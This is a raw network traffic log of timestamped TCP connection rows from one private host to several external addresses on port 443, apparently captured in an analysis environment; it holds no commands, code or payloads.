Nov 15, 2024 19:39:15.412198067 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.412214041 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.412256002 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.412276983 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.455827951 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:15.456103086 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:15.456192017 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:15.472029924 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:15.472079992 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:15.472119093 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:15.472137928 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:15.528078079 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.528105974 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.528193951 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.528218031 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.528245926 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.528263092 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.528990030 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.529009104 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.529093981 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.529103994 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.529150009 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.530894041 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.530914068 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.530972958 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.530982018 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.531022072 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.531039000 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.616132021 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.616156101 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.616226912 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.616247892 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.616267920 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.616297007 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.616849899 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.616866112 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.616914034 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.616923094 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.616945982 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.616974115 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.645509958 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.645539999 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.645596981 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.645610094 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.645638943 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.645662069 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.646455050 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.646476984 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.646507978 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.646517038 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.646538973 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.646559000 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.647329092 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.647351980 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.647380114 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.647388935 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.647417068 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.647442102 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.648322105 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.648343086 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.648399115 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.648406982 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.648432970 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.648457050 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.649315119 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.649336100 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.649398088 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.649405956 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.649447918 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.649467945 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.664942980 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.733530045 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.733570099 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.733630896 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.733638048 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.733654976 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.733669043 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.733699083 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.733707905 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.733747959 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.733799934 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.743654966 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.743674994 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:15.743688107 CET	49702	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:15.743700027 CET	443	49702	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.265495062 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.265528917 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.265609026 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.280519009 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.280543089 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.280606985 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.280740976 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.280762911 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.281687021 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.281714916 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.281821966 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.281933069 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.281944990 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.282382965 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.282397985 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.282919884 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.282929897 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.283159018 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.283257961 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.283269882 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.299340963 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.299352884 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.299499989 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.299628973 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:16.299638033 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:16.345313072 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.345362902 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:16.345560074 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.345927954 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.345944881 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:16.847803116 CET	49674	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:16.847908020 CET	49675	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:16.991179943 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:16.991271019 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.993333101 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.993350029 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:16.993654966 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:16.994997025 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.995031118 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:16.995114088 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.022540092 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.023035049 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.023053885 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.023555040 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.023561001 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.024015903 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.024277925 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.024291992 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.024657965 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.024662018 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.041688919 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.042222977 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.042247057 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.042686939 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.042697906 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.066518068 CET	49672	443	192.168.2.7	104.98.116.138
Nov 15, 2024 19:39:17.086743116 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.087364912 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.087430954 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.087826967 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.087884903 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.091630936 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.092010975 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.092035055 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.092396975 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.092408895 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.155167103 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.155476093 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.155554056 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.155633926 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.155667067 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.155694962 CET	49704	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.155710936 CET	443	49704	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.158955097 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.158982038 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.159033060 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.159054041 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.159111977 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.159630060 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.159651995 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.159668922 CET	49703	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.159674883 CET	443	49703	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.159746885 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.159792900 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.159881115 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.160037994 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.160068035 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.162395000 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.162435055 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.162499905 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.162628889 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.162643909 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.176537037 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.176556110 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.176619053 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.176625013 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.176681995 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.177530050 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.177551985 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.177577972 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.177591085 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.180443048 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.180470943 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.180561066 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.180748940 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.180773973 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.222278118 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.222296000 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.222335100 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.222387075 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.222457886 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.222997904 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.222997904 CET	49705	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.223068953 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.223109007 CET	443	49705	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.226095915 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.226146936 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.226234913 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.226461887 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.226496935 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.229204893 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.229901075 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.229989052 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.230031967 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.230031967 CET	49707	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.230050087 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.230076075 CET	443	49707	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.232673883 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.232728004 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.232815027 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.232939005 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.232956886 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.725753069 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.725878000 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.725954056 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.725974083 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726067066 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726131916 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.726140976 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726226091 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726279020 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.726286888 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726411104 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726463079 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.726470947 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726604939 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.726658106 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.726665974 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.769633055 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.839103937 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839202881 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839247942 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839270115 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.839291096 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839351892 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.839359999 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839389086 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839441061 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.839680910 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.839699030 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.839721918 CET	49708	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.839730024 CET	443	49708	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.890945911 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.891530037 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.891567945 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.892256975 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.892271996 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.901499987 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.901915073 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.901945114 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.902554035 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.902560949 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.941880941 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.942488909 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.942539930 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.942934036 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.942945957 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.956298113 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.956773996 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.956794977 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.957588911 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.957593918 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.982599974 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.982635975 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.982733011 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.983023882 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.983263016 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:17.983274937 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:17.983571053 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.983592033 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:17.984271049 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:17.984277010 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.052494049 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.052537918 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.052732944 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.052897930 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.052946091 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.052978039 CET	49709	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.052994013 CET	443	49709	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.054348946 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.055011034 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.055079937 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.055505037 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.055522919 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.055557966 CET	49710	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.055567980 CET	443	49710	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.058088064 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.058128119 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.058247089 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.059537888 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.059587955 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.059663057 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.059818029 CET	49715	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.059837103 CET	443	49715	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.059982061 CET	49716	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.060014009 CET	443	49716	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.071559906 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.071811914 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.071974993 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.071975946 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.071975946 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.074359894 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.074400902 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.074466944 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.074649096 CET	49717	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.074665070 CET	443	49717	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.088144064 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.088340044 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.088398933 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.088584900 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.088613987 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.088639975 CET	49712	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.088653088 CET	443	49712	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.091002941 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.091074944 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.091305971 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.091305971 CET	49718	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.091449022 CET	443	49718	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.113436937 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.113945961 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.114012957 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.121078968 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.121098995 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.121110916 CET	49713	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.121119022 CET	443	49713	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.126225948 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.126256943 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.126323938 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.126540899 CET	49719	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.126555920 CET	443	49719	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.379134893 CET	49711	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:18.379201889 CET	443	49711	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:18.628071070 CET	443	49714	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:18.628149986 CET	49714	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:18.630007982 CET	49714	443	192.168.2.7	172.67.174.133
